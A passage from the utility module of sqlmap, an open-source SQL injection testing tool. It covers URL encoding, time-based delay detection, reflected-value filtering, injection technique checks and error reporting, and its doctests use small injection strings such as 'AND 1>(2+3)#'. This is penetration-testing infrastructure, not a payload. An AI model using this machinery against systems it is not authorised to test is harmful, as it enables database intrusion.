if item.startswith(prevValue):
commonValue = item
countCommonValue += 1
if len(item) > len(prevValue):
char = item[len(prevValue)]
predictionSet.add(char)
# Reset single value if there is more than one possible common
# output
if countCommonValue > 1:
commonValue = None
commonCharset = []
otherCharset = []
# Split the original charset into common chars (commonCharset)
# and other chars (otherCharset)
for ordChar in originalCharset:
if chr(ordChar) not in predictionSet:
otherCharset.append(ordChar)
else:
commonCharset.append(ordChar)
commonCharset.sort()
return commonValue, commonPattern, commonCharset, originalCharset
else:
return None, None, None, originalCharset
def getPartRun(alias=True):
"""
Goes through call stack and finds constructs matching conf.dbmsHandler.*.
Returns it or its alias used in txt/common-outputs.txt
"""
retVal = None
commonPartsDict = optDict["Enumeration"]
try:
stack = [item[4][0] if isinstance(item[4], list) else '' for item in inspect.stack()]
# Goes backwards through the stack to find the conf.dbmsHandler method
# calling this function
for i in xrange(0, len(stack) - 1):
for regex in (r"self\.(get[^(]+)\(\)", r"conf\.dbmsHandler\.([^(]+)\(\)"):
match = re.search(regex, stack[i])
if match:
# This is the calling conf.dbmsHandler or self method
# (e.g. 'getDbms')
retVal = match.groups()[0]
break
if retVal is not None:
break
# Reference: http://coding.derkeiler.com/Archive/Python/comp.lang.python/2004-06/2267.html
except TypeError:
pass
# Return the INI tag to consider for common outputs (e.g. 'Databases')
if alias:
return commonPartsDict[retVal][1] if isinstance(commonPartsDict.get(retVal), tuple) else retVal
else:
return retVal
def getUnicode(value, encoding=None, noneToNull=False):
"""
Return the unicode representation of the supplied value:
>>> getUnicode(u'test')
u'test'
>>> getUnicode('test')
u'test'
>>> getUnicode(1)
u'1'
"""
if noneToNull and value is None:
return NULL
if isinstance(value, unicode):
return value
elif isinstance(value, basestring):
while True:
try:
return unicode(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING)
except UnicodeDecodeError, ex:
try:
return unicode(value, UNICODE_ENCODING)
except:
value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
elif isListLike(value):
value = list(getUnicode(_, encoding, noneToNull) for _ in value)
return value
else:
try:
return unicode(value)
except UnicodeDecodeError:
return unicode(str(value), errors="ignore") # encoding ignored for non-basestring instances
def longestCommonPrefix(*sequences):
"""
Returns longest common prefix occuring in given sequences
Reference: http://boredzo.org/blog/archives/2007-01-06/longest-common-prefix-in-python-2
>>> longestCommonPrefix('foobar', 'fobar')
'fo'
"""
if len(sequences) == 1:
return sequences[0]
sequences = [pair[1] for pair in sorted((len(fi), fi) for fi in sequences)]
if not sequences:
return None
for i, comparison_ch in enumerate(sequences[0]):
for fi in sequences[1:]:
ch = fi[i]
if ch != comparison_ch:
return fi[:i]
return sequences[0]
def commonFinderOnly(initial, sequence):
return longestCommonPrefix(*filter(lambda x: x.startswith(initial), sequence))
def pushValue(value):
"""
Push value to the stack (thread dependent)
"""
_ = None
success = False
for i in xrange(PUSH_VALUE_EXCEPTION_RETRY_COUNT):
try:
getCurrentThreadData().valueStack.append(copy.deepcopy(value))
success = True
break
except Exception, ex:
_ = ex
if not success:
getCurrentThreadData().valueStack.append(None)
if _:
raise _
def popValue():
"""
Pop value from the stack (thread dependent)
>>> pushValue('foobar')
>>> popValue()
'foobar'
"""
return getCurrentThreadData().valueStack.pop()
def wasLastResponseDBMSError():
"""
Returns True if the last web request resulted in a (recognized) DBMS error page
"""
threadData = getCurrentThreadData()
return threadData.lastErrorPage and threadData.lastErrorPage[0] == threadData.lastRequestUID
def wasLastResponseHTTPError():
"""
Returns True if the last web request resulted in an erroneous HTTP code (like 500)
"""
threadData = getCurrentThreadData()
return threadData.lastHTTPError and threadData.lastHTTPError[0] == threadData.lastRequestUID
def wasLastResponseDelayed():
"""
Returns True if the last web request resulted in a time-delay
"""
# 99.9999999997440% of all non time-based SQL injection affected
# response times should be inside +-7*stdev([normal response times])
# Math reference: http://www.answers.com/topic/standard-deviation
deviation = stdev(kb.responseTimes.get(kb.responseTimeMode, []))
threadData = getCurrentThreadData()
if deviation and not conf.direct and not conf.disableStats:
if len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES:
warnMsg = "time-based standard deviation method used on a model "
warnMsg += "with less than %d response times" % MIN_TIME_RESPONSES
logger.warn(warnMsg)
lowerStdLimit = average(kb.responseTimes[kb.responseTimeMode]) + TIME_STDEV_COEFF * deviation
retVal = (threadData.lastQueryDuration >= max(MIN_VALID_DELAYED_RESPONSE, lowerStdLimit))
if not kb.testMode and retVal:
if kb.adjustTimeDelay is None:
msg = "do you want sqlmap to try to optimize value(s) "
msg += "for DBMS delay responses (option '--time-sec')? [Y/n] "
kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE if not readInput(msg, default='Y', boolean=True) else ADJUST_TIME_DELAY.YES
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
adjustTimeDelay(threadData.lastQueryDuration, lowerStdLimit)
return retVal
else:
delta = threadData.lastQueryDuration - conf.timeSec
if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): # MySQL's SLEEP(X) lasts 0.05 seconds shorter on average
delta += 0.05
return delta >= 0
def adjustTimeDelay(lastQueryDuration, lowerStdLimit):
"""
Provides tip for adjusting time delay in time-based data retrieval
"""
candidate = 1 + int(round(lowerStdLimit))
if candidate:
kb.delayCandidates = [candidate] + kb.delayCandidates[:-1]
if all((x == candidate for x in kb.delayCandidates)) and candidate < conf.timeSec:
conf.timeSec = candidate
infoMsg = "adjusting time delay to "
infoMsg += "%d second%s due to good response times" % (conf.timeSec, 's' if conf.timeSec > 1 else '')
logger.info(infoMsg)
def getLastRequestHTTPError():
"""
Returns last HTTP error code
"""
threadData = getCurrentThreadData()
return threadData.lastHTTPError[1] if threadData.lastHTTPError else None
def extractErrorMessage(page):
"""
Returns reported error message from page if it founds one
>>> extractErrorMessage(u'<html><title>Test</title>\\n<b>Warning</b>: oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated<br><p>Only a test page</p></html>')
u'oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated'
"""
retVal = None
if isinstance(page, basestring):
for regex in ERROR_PARSING_REGEXES:
match = re.search(regex, page, re.DOTALL | re.IGNORECASE)
if match:
retVal = htmlunescape(match.group("result")).replace("<br>", "\n").strip()
break
return retVal
def findLocalPort(ports):
"""
Find the first opened localhost port from a given list of ports (e.g. for Tor port checks)
"""
retVal = None
for port in ports:
try:
try:
s = socket._orig_socket(socket.AF_INET, socket.SOCK_STREAM)
except AttributeError:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((LOCALHOST, port))
retVal = port
break
except socket.error:
pass
finally:
try:
s.close()
except socket.error:
pass
return retVal
def findMultipartPostBoundary(post):
"""
Finds value for a boundary parameter in given multipart POST body
"""
retVal = None
done = set()
candidates = []
for match in re.finditer(r"(?m)^--(.+?)(--)?$", post or ""):
_ = match.group(1).strip().strip('-')
if _ in done:
continue
else:
candidates.append((post.count(_), _))
done.add(_)
if candidates:
candidates.sort(key=lambda _: _[0], reverse=True)
retVal = candidates[0][1]
return retVal
def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, plusspace=True):
"""
URL decodes given value
>>> urldecode('AND%201%3E%282%2B3%29%23', convall=True)
u'AND 1>(2+3)#'
"""
result = value
if value:
try:
# for cases like T%C3%BCrk%C3%A7e
value = str(value)
except ValueError:
pass
finally:
if convall:
result = urllib.unquote_plus(value) if plusspace else urllib.unquote(value)
else:
def _(match):
charset = reduce(lambda x, y: x.replace(y, ""), unsafe, string.printable)
char = chr(ord(match.group(1).decode("hex")))
return char if char in charset else match.group(0)
result = value
if plusspace:
result = result.replace("+", " ") # plus sign has a special meaning in URL encoded data (hence the usage of urllib.unquote_plus in convall case)
result = re.sub("%([0-9a-fA-F]{2})", _, result)
if isinstance(result, str):
result = unicode(result, encoding or UNICODE_ENCODING, "replace")
return result
def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
"""
URL encodes given value
>>> urlencode('AND 1>(2+3)#')
'AND%201%3E%282%2B3%29%23'
"""
if conf.get("direct"):
return value
count = 0
result = None if value is None else ""
if value:
if Backend.isDbms(DBMS.MSSQL) and not kb.tamperFunctions and any(ord(_) > 255 for _ in value):
warnMsg = "if you experience problems with "
warnMsg += "non-ASCII identifier names "
warnMsg += "you are advised to rerun with '--tamper=charunicodeencode'"
singleTimeWarnMessage(warnMsg)
if convall or safe is None:
safe = ""
# corner case when character % really needs to be
# encoded (when not representing URL encoded char)
# except in cases when tampering scripts are used
if all(map(lambda x: '%' in x, [safe, value])) and not kb.tamperFunctions:
value = re.sub("%(?![0-9a-fA-F]{2})", "%25", value)
while True:
result = urllib.quote(utf8encode(value), safe)
if limit and len(result) > URLENCODE_CHAR_LIMIT:
if count >= len(URLENCODE_FAILSAFE_CHARS):
break
while count < len(URLENCODE_FAILSAFE_CHARS):
safe += URLENCODE_FAILSAFE_CHARS[count]
count += 1
if safe[-1] in value:
break
else:
break
if spaceplus:
result = result.replace(urllib.quote(' '), '+')
return result
def runningAsAdmin():
"""
Returns True if the current process is run under admin privileges
"""
isAdmin = None
if PLATFORM in ("posix", "mac"):
_ = os.geteuid()
isAdmin = isinstance(_, (int, float, long)) and _ == 0
elif IS_WIN:
import ctypes
_ = ctypes.windll.shell32.IsUserAnAdmin()
isAdmin = isinstance(_, (int, float, long)) and _ == 1
else:
errMsg = "sqlmap is not able to check if you are running it "
errMsg += "as an administrator account on this platform. "
errMsg += "sqlmap will assume that you are an administrator "
errMsg += "which is mandatory for the requested takeover attack "
errMsg += "to work properly"
logger.error(errMsg)
isAdmin = True
return isAdmin
def logHTTPTraffic(requestLogMsg, responseLogMsg):
"""
Logs HTTP traffic to the output file
"""
if not conf.trafficFile:
return
with kb.locks.log:
dataToTrafficFile("%s%s" % (requestLogMsg, os.linesep))
dataToTrafficFile("%s%s" % (responseLogMsg, os.linesep))
dataToTrafficFile("%s%s%s%s" % (os.linesep, 76 * '#', os.linesep, os.linesep))
def getPageTemplate(payload, place): # Cross-linked function
raise NotImplementedError
@cachedmethod
def getPublicTypeMembers(type_, onlyValues=False):
"""
Useful for getting members from types (e.g. in enums)
>>> [_ for _ in getPublicTypeMembers(OS, True)]
['Linux', 'Windows']
"""
retVal = []
for name, value in inspect.getmembers(type_):
if not name.startswith("__"):
if not onlyValues:
retVal.append((name, value))
else:
retVal.append(value)
return retVal
def enumValueToNameLookup(type_, value_):
"""
Returns name of a enum member with a given value
>>> enumValueToNameLookup(SORT_ORDER, 100)
'LAST'
"""
retVal = None
for name, value in getPublicTypeMembers(type_):
if value == value_:
retVal = name
break
return retVal
def extractRegexResult(regex, content, flags=0):
"""
Returns 'result' group value from a possible match with regex on a given
content
>>> extractRegexResult(r'a(?P<result>[^g]+)g', 'abcdefg')
'bcdef'
"""
retVal = None
if regex and content and "?P<result>" in regex:
match = re.search(regex, content, flags)
if match:
retVal = match.group("result")
return retVal
def extractTextTagContent(page):
"""
Returns list containing content from "textual" tags
>>> extractTextTagContent(u'<html><head><title>Title</title></head><body><pre>foobar</pre><a href="#link">Link</a></body></html>')
[u'Title', u'foobar']
"""
page = page or ""
if REFLECTED_VALUE_MARKER in page:
try:
page = re.sub(r"(?i)[^\s>]*%s[^\s<]*" % REFLECTED_VALUE_MARKER, "", page)
except MemoryError:
page = page.replace(REFLECTED_VALUE_MARKER, "")
return filter(None, (_.group("result").strip() for _ in re.finditer(TEXT_TAG_REGEX, page)))
def trimAlphaNum(value):
"""
Trims alpha numeric characters from start and ending of a given value
>>> trimAlphaNum(u'AND 1>(2+3)-- foobar')
u' 1>(2+3)-- '
"""
while value and value[-1].isalnum():
value = value[:-1]
while value and value[0].isalnum():
value = value[1:]
return value
def isNumPosStrValue(value):
"""
Returns True if value is a string (or integer) with a positive integer representation
>>> isNumPosStrValue(1)
True
>>> isNumPosStrValue('1')
True
>>> isNumPosStrValue(0)
False
>>> isNumPosStrValue('-2')
False
"""
return (value and isinstance(value, basestring) and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)
@cachedmethod
def aliasToDbmsEnum(dbms):
"""
Returns major DBMS name from a given alias
>>> aliasToDbmsEnum('mssql')
'Microsoft SQL Server'
"""
retVal = None
if dbms:
for key, item in DBMS_DICT.items():
if dbms.lower() in item[0] or dbms.lower() == key.lower():
retVal = key
break
return retVal
def findDynamicContent(firstPage, secondPage):
"""
This function checks if the provided pages have dynamic content. If they
are dynamic, proper markings will be made
"""
if not firstPage or not secondPage:
return
infoMsg = "searching for dynamic content"
logger.info(infoMsg)
blocks = SequenceMatcher(None, firstPage, secondPage).get_matching_blocks()
kb.dynamicMarkings = []
# Removing too small matching blocks
for block in blocks[:]:
(_, _, length) = block
if length <= DYNAMICITY_MARK_LENGTH:
blocks.remove(block)
# Making of dynamic markings based on prefix/suffix principle
if len(blocks) > 0:
blocks.insert(0, None)
blocks.append(None)
for i in xrange(len(blocks) - 1):
prefix = firstPage[blocks[i][0]:blocks[i][0] + blocks[i][2]] if blocks[i] else None
suffix = firstPage[blocks[i + 1][0]:blocks[i + 1][0] + blocks[i + 1][2]] if blocks[i + 1] else None
if prefix is None and blocks[i + 1][0] == 0:
continue
if suffix is None and (blocks[i][0] + blocks[i][2] >= len(firstPage)):
continue
prefix = trimAlphaNum(prefix)
suffix = trimAlphaNum(suffix)
kb.dynamicMarkings.append((prefix[-DYNAMICITY_MARK_LENGTH / 2:] if prefix else None, suffix[:DYNAMICITY_MARK_LENGTH / 2] if suffix else None))
if len(kb.dynamicMarkings) > 0:
infoMsg = "dynamic content marked for removal (%d region%s)" % (len(kb.dynamicMarkings), 's' if len(kb.dynamicMarkings) > 1 else '')
logger.info(infoMsg)
def removeDynamicContent(page):
"""
Removing dynamic content from supplied page basing removal on
precalculated dynamic markings
"""
if page:
for item in kb.dynamicMarkings:
prefix, suffix = item
if prefix is None and suffix is None:
continue
elif prefix is None:
page = re.sub(r"(?s)^.+%s" % re.escape(suffix), suffix.replace('\\', r'\\'), page)
elif suffix is None:
page = re.sub(r"(?s)%s.+$" % re.escape(prefix), prefix.replace('\\', r'\\'), page)
else:
page = re.sub(r"(?s)%s.+%s" % (re.escape(prefix), re.escape(suffix)), "%s%s" % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page)
return page
def filterStringValue(value, charRegex, replacement=""):
"""
Returns string value consisting only of chars satisfying supplied
regular expression (note: it has to be in form [...])
>>> filterStringValue(u'wzydeadbeef0123#', r'[0-9a-f]')
u'deadbeef0123'
"""
retVal = value
if value:
retVal = re.sub(charRegex.replace("[", "[^") if "[^" not in charRegex else charRegex.replace("[^", "["), replacement, value)
return retVal
def filterControlChars(value):
"""
Returns string value with control chars being supstituted with ' '
>>> filterControlChars(u'AND 1>(2+3)\\n--')
u'AND 1>(2+3) --'
"""
return filterStringValue(value, PRINTABLE_CHAR_REGEX, ' ')
def isDBMSVersionAtLeast(version):
"""
Checks if the recognized DBMS version is at least the version
specified
"""
retVal = None
if Backend.getVersion() and Backend.getVersion() != UNKNOWN_DBMS_VERSION:
value = Backend.getVersion().replace(" ", "").rstrip('.')
while True:
index = value.find('.', value.find('.') + 1)
if index > -1:
value = value[0:index] + value[index + 1:]
else:
break
value = filterStringValue(value, '[0-9.><=]')
if isinstance(value, basestring):
if value.startswith(">="):
value = float(value.replace(">=", ""))
elif value.startswith(">"):
value = float(value.replace(">", "")) + 0.01
elif value.startswith("<="):
value = float(value.replace("<=", ""))
elif value.startswith(">"):
value = float(value.replace("<", "")) - 0.01
retVal = getUnicode(value) >= getUnicode(version)
return retVal
def parseSqliteTableSchema(value):
"""
Parses table column names and types from specified SQLite table schema
"""
if value:
table = {}
columns = {}
for match in re.finditer(r"(\w+)[\"'`]?\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b", value, re.I):
columns[match.group(1)] = match.group(2)
table[conf.tbl] = columns
kb.data.cachedColumns[conf.db] = table
def getTechniqueData(technique=None):
"""
Returns injection data for technique specified
"""
return kb.injection.data.get(technique)
def isTechniqueAvailable(technique):
"""
Returns True if there is injection data which sqlmap could use for
technique specified
"""
if conf.tech and isinstance(conf.tech, list) and technique not in conf.tech:
return False
else:
return getTechniqueData(technique) is not None
def isStackingAvailable():
"""
Returns True whether techniques using stacking are available
"""
retVal = False
if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data:
retVal = True
else:
for technique in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True):
_ = getTechniqueData(technique)
if _ and "stacked" in _["title"].lower():
retVal = True
break
return retVal
def isInferenceAvailable():
"""
Returns True whether techniques using inference technique are available
"""
return any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.STACKED, PAYLOAD.TECHNIQUE.TIME))
def setOptimize():
"""
Sets options turned on by switch '-o'
"""
#conf.predictOutput = True
conf.keepAlive = True
conf.threads = 3 if conf.threads < 3 else conf.threads
conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
if not conf.nullConnection:
debugMsg = "turning off switch '--null-connection' used indirectly by switch '-o'"
logger.debug(debugMsg)
def saveConfig(conf, filename):
"""
Saves conf to configuration filename
"""
config = UnicodeRawConfigParser()
userOpts = {}
for family in optDict.keys():
userOpts[family] = []
for option, value in conf.items():
for family, optionData in optDict.items():
if option in optionData:
userOpts[family].append((option, value, optionData[option]))
for family, optionData in userOpts.items():
config.add_section(family)
optionData.sort()
for option, value, datatype in optionData:
if datatype and isListLike(datatype):
datatype = datatype[0]
if option in IGNORE_SAVE_OPTIONS:
continue
if value is None:
if datatype == OPTION_TYPE.BOOLEAN:
value = "False"
elif datatype in (OPTION_TYPE.INTEGER, OPTION_TYPE.FLOAT):
if option in defaults:
value = str(defaults[option])
else:
value = "0"
elif datatype == OPTION_TYPE.STRING:
value = ""
if isinstance(value, basestring):
value = value.replace("\n", "\n ")
config.set(family, option, value)
with openFile(filename, "wb") as f:
try:
config.write(f)
except IOError, ex:
errMsg = "something went wrong while trying "
errMsg += "to write to the configuration file '%s' ('%s')" % (filename, getSafeExString(ex))
raise SqlmapSystemException(errMsg)
def initTechnique(technique=None):
"""
Prepares data for technique specified
"""
try:
data = getTechniqueData(technique)
resetCounter(technique)
if data:
kb.pageTemplate, kb.errorIsNone = getPageTemplate(data.templatePayload, kb.injection.place)
kb.matchRatio = data.matchRatio
kb.negativeLogic = (technique == PAYLOAD.TECHNIQUE.BOOLEAN) and (data.where == PAYLOAD.WHERE.NEGATIVE)
# Restoring stored conf options
for key, value in kb.injection.conf.items():
if value and (not hasattr(conf, key) or (hasattr(conf, key) and not getattr(conf, key))):
setattr(conf, key, value)
debugMsg = "resuming configuration option '%s' (%s)" % (key, value)
logger.debug(debugMsg)
if value and key == "optimize":
setOptimize()
else:
warnMsg = "there is no injection data available for technique "
warnMsg += "'%s'" % enumValueToNameLookup(PAYLOAD.TECHNIQUE, technique)
logger.warn(warnMsg)
except SqlmapDataException:
errMsg = "missing data in old session file(s). "
errMsg += "Please use '--flush-session' to deal "
errMsg += "with this error"
raise SqlmapNoneDataException(errMsg)
def arrayizeValue(value):
"""
Makes a list out of value if it is not already a list or tuple itself
>>> arrayizeValue(u'1')
[u'1']
"""
if not isListLike(value):
value = [value]
return value
def unArrayizeValue(value):
"""
Makes a value out of iterable if it is a list or tuple itself
>>> unArrayizeValue([u'1'])
u'1'
"""
if isListLike(value):
if not value:
value = None
elif len(value) == 1 and not isListLike(value[0]):
value = value[0]
else:
_ = filter(lambda _: _ is not None, (_ for _ in flattenValue(value)))
value = _[0] if len(_) > 0 else None
return value
def flattenValue(value):
"""
Returns an iterator representing flat representation of a given value
>>> [_ for _ in flattenValue([[u'1'], [[u'2'], u'3']])]
[u'1', u'2', u'3']
"""
for i in iter(value):
if isListLike(i):
for j in flattenValue(i):
yield j
else:
yield i
def isListLike(value):
"""
Returns True if the given value is a list-like instance
>>> isListLike([1, 2, 3])
True
>>> isListLike(u'2')
False
"""
return isinstance(value, (list, tuple, set, BigArray))
def getSortedInjectionTests():
"""
Returns prioritized test list by eventually detected DBMS from error
messages
"""
retVal = copy.deepcopy(conf.tests)
def priorityFunction(test):
retVal = SORT_ORDER.FIRST
if test.stype == PAYLOAD.TECHNIQUE.UNION:
retVal = SORT_ORDER.LAST
elif 'details' in test and 'dbms' in test.details:
if intersect(test.details.dbms, Backend.getIdentifiedDbms()):
retVal = SORT_ORDER.SECOND
else:
retVal = SORT_ORDER.THIRD
return retVal
if Backend.getIdentifiedDbms():
retVal = sorted(retVal, key=priorityFunction)
return retVal
def filterListValue(value, regex):
"""
Returns list with items that have parts satisfying given regular
expression
>>> filterListValue(['users', 'admins', 'logs'], r'(users|admins)')
['users', 'admins']
"""
if isinstance(value, list) and regex:
retVal = filter(lambda _: re.search(regex, _, re.I), value)
else:
retVal = value
return retVal
def showHttpErrorCodes():
"""
Shows all HTTP error codes raised till now
"""
if kb.httpErrorCodes:
warnMsg = "HTTP error codes detected during run:\n"
warnMsg += ", ".join("%d (%s) - %d times" % (code, httplib.responses[code] \
if code in httplib.responses else '?', count) \
for code, count in kb.httpErrorCodes.items())
logger.warn(warnMsg)
if any((str(_).startswith('4') or str(_).startswith('5')) and _ != httplib.INTERNAL_SERVER_ERROR and _ != kb.originalCode for _ in kb.httpErrorCodes.keys()):
msg = "too many 4xx and/or 5xx HTTP error codes "
msg += "could mean that some kind of protection is involved (e.g. WAF)"
logger.debug(msg)
def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="replace", buffering=1): # "buffering=1" means line buffered (Reference: http://stackoverflow.com/a/3168436)
"""
Returns file handle of a given filename
"""
try:
return codecs.open(filename, mode, encoding, errors, buffering)
except IOError:
errMsg = "there has been a file opening error for filename '%s'. " % filename
errMsg += "Please check %s permissions on a file " % ("write" if \
mode and ('w' in mode or 'a' in mode or '+' in mode) else "read")
errMsg += "and that it's not locked by another process."
raise SqlmapSystemException(errMsg)
def decodeIntToUnicode(value):
"""
Decodes inferenced integer value to an unicode character
>>> decodeIntToUnicode(35)
u'#'
>>> decodeIntToUnicode(64)
u'@'
"""
retVal = value
if isinstance(value, int):
try:
if value > 255:
_ = "%x" % value
if len(_) % 2 == 1:
_ = "0%s" % _
raw = hexdecode(_)
if Backend.isDbms(DBMS.MYSQL):
# https://github.com/sqlmapproject/sqlmap/issues/1531
retVal = getUnicode(raw, conf.charset or UNICODE_ENCODING)
elif Backend.isDbms(DBMS.MSSQL):
retVal = getUnicode(raw, "UTF-16-BE")
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE):
retVal = unichr(value)
else:
retVal = getUnicode(raw, conf.charset)
else:
retVal = getUnicode(chr(value))
except:
retVal = INFERENCE_UNKNOWN_CHAR
return retVal
def md5File(filename):
"""
Calculates MD5 digest of a file
Reference: http://stackoverflow.com/a/3431838
"""
checkFile(filename)
digest = hashlib.md5()
with open(filename, "rb") as f:
for chunk in iter(lambda: f.read(4096), ""):
digest.update(chunk)
return digest.hexdigest()
def checkIntegrity():
"""
Checks integrity of code files during the unhandled exceptions
"""
if not paths:
return
logger.debug("running code integrity check")
retVal = True
for checksum, _ in (re.split(r'\s+', _) for _ in getFileItems(paths.CHECKSUM_MD5)):
path = os.path.normpath(os.path.join(paths.SQLMAP_ROOT_PATH, _))
if not os.path.isfile(path):
logger.error("missing file detected '%s'" % path)
retVal = False
elif md5File(path) != checksum:
logger.error("wrong checksum of file '%s' detected" % path)
retVal = False
return retVal
def unhandledExceptionMessage():
"""
Returns detailed message about occurred unhandled exception
"""
errMsg = "unhandled exception occurred in %s. It is recommended to retry your " % VERSION_STRING
errMsg += "run with the latest development version from official GitHub "
errMsg += "repository at '%s'. If the exception persists, please open a new issue " % GIT_PAGE
errMsg += "at '%s' " % ISSUES_PAGE
errMsg += "with the following text and any other information required to "
errMsg += "reproduce the bug. The "
errMsg += "developers will try to reproduce the bug, fix it accordingly "
errMsg += "and get back to you\n"
errMsg += "sqlmap version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
errMsg += "Python version: %s\n" % PYVERSION
errMsg += "Operating system: %s\n" % PLATFORM
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding))
errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None))
errMsg += "Back-end DBMS:"
if Backend.getDbms() is not None:
errMsg += " %s (fingerprinted)" % Backend.getDbms()
if Backend.getIdentifiedDbms() is not None and (Backend.getDbms() is None or Backend.getIdentifiedDbms() != Backend.getDbms()):
errMsg += " %s (identified)" % Backend.getIdentifiedDbms()
if not errMsg.endswith(')'):
errMsg += " None"
return errMsg
def createGithubIssue(errMsg, excMsg):
"""
Automatically create a Github issue with unhandled exception information
"""
issues = []
try:
issues = getFileItems(paths.GITHUB_HISTORY, unique=True)
except:
pass
finally:
issues = set(issues)
_ = re.sub(r"'[^']+'", "''", excMsg)
_ = re.sub(r"\s+line \d+", "", _)
_ = re.sub(r'File ".+?/(\w+\.py)', "\g<1>", _)
_ = re.sub(r".+\Z", "", _)
key = hashlib.md5(_).hexdigest()[:8]
if key in issues:
return
msg = "\ndo you want to automatically create a new (anonymized) issue "
msg += "with the unhandled exception information at "
msg += "the official Github repository? [y/N] "
try:
choice = readInput(msg, default='N', boolean=True)
except:
choice = None
if choice:
ex = None
errMsg = errMsg[errMsg.find("\n"):]
req = urllib2.Request(url="https://api.github.com/search/issues?q=%s" % urllib.quote("repo:sqlmapproject/sqlmap Unhandled exception (#%s)" % key))
try:
content = urllib2.urlopen(req).read()
_ = json.loads(content)
duplicate = _["total_count"] > 0
closed = duplicate and _["items"][0]["state"] == "closed"
if duplicate:
warnMsg = "issue seems to be already reported"
if closed:
warnMsg += " and resolved. Please update to the latest "
warnMsg += "development version from official GitHub repository at '%s'" % GIT_PAGE
logger.warn(warnMsg)
return
except:
pass
data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)}
req = urllib2.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=json.dumps(data), headers={"Authorization": "token %s" % GITHUB_REPORT_OAUTH_TOKEN.decode("base64")})
try:
content = urllib2.urlopen(req).read()
except Exception, ex:
content = None
issueUrl = re.search(r"https://github.com/sqlmapproject/sqlmap/issues/\d+", content or "")
if issueUrl:
infoMsg = "created Github issue can been found at the address '%s'" % issueUrl.group(0)
logger.info(infoMsg)
try:
with open(paths.GITHUB_HISTORY, "a+b") as f:
f.write("%s\n" % key)
except:
pass
else:
warnMsg = "something went wrong while creating a Github issue"
if ex:
warnMsg += " ('%s')" % getSafeExString(ex)
if "Unauthorized" in warnMsg:
warnMsg += ". Please update to the latest revision"
logger.warn(warnMsg)
def maskSensitiveData(msg):
"""
Masks sensitive data in the supplied message
"""
retVal = getUnicode(msg)
for item in filter(None, map(lambda x: conf.get(x), SENSITIVE_OPTIONS)):
regex = SENSITIVE_DATA_REGEX % re.sub("(\W)", r"\\\1", getUnicode(item))
while extractRegexResult(regex, retVal):
value = extractRegexResult(regex, retVal)
retVal = retVal.replace(value, '*' * len(value))
if not conf.get("hostname"):
match = re.search(r"(?i)sqlmap.+(-u|--url)(\s+|=)([^ ]+)", retVal)
if match:
retVal = retVal.replace(match.group(3), '*' * len(match.group(3)))
if getpass.getuser():
retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), "*" * len(getpass.getuser()), retVal)
return retVal
def listToStrValue(value):
"""
Flattens list to a string value
>>> listToStrValue([1,2,3])
'1, 2, 3'
"""
if isinstance(value, (set, tuple)):
value = list(value)
if isinstance(value, list):
retVal = value.__str__().lstrip('[').rstrip(']')
else:
retVal = value
return retVal
def getExceptionFrameLocals():
"""
Returns dictionary with local variable content from frame
where exception has been raised
"""
retVal = {}
if sys.exc_info():
trace = sys.exc_info()[2]
while trace.tb_next:
trace = trace.tb_next
retVal = trace.tb_frame.f_locals
return retVal
def intersect(valueA, valueB, lowerCase=False):
"""
Returns intersection of the array-ized values
>>> intersect([1, 2, 3], set([1,3]))
[1, 3]
"""
retVal = []
if valueA and valueB:
valueA = arrayizeValue(valueA)
valueB = arrayizeValue(valueB)
if lowerCase:
valueA = [val.lower() if isinstance(val, basestring) else val for val in valueA]
valueB = [val.lower() if isinstance(val, basestring) else val for val in valueB]
retVal = [val for val in valueA if val in valueB]
return retVal
def removeReflectiveValues(content, payload, suppressWarning=False):
"""
Neutralizes reflective values in a given content based on a payload
(e.g. ..search.php?q=1 AND 1=2 --> "...searching for <b>1%20AND%201%3D2</b>..." --> "...searching for <b>__REFLECTED_VALUE__</b>...")
"""
retVal = content
try:
if all([content, payload]) and isinstance(content, unicode) and kb.reflectiveMechanism and not kb.heuristicMode:
def _(value):
while 2 * REFLECTED_REPLACEMENT_REGEX in value:
value = value.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX)
return value
payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ''), convall=True))
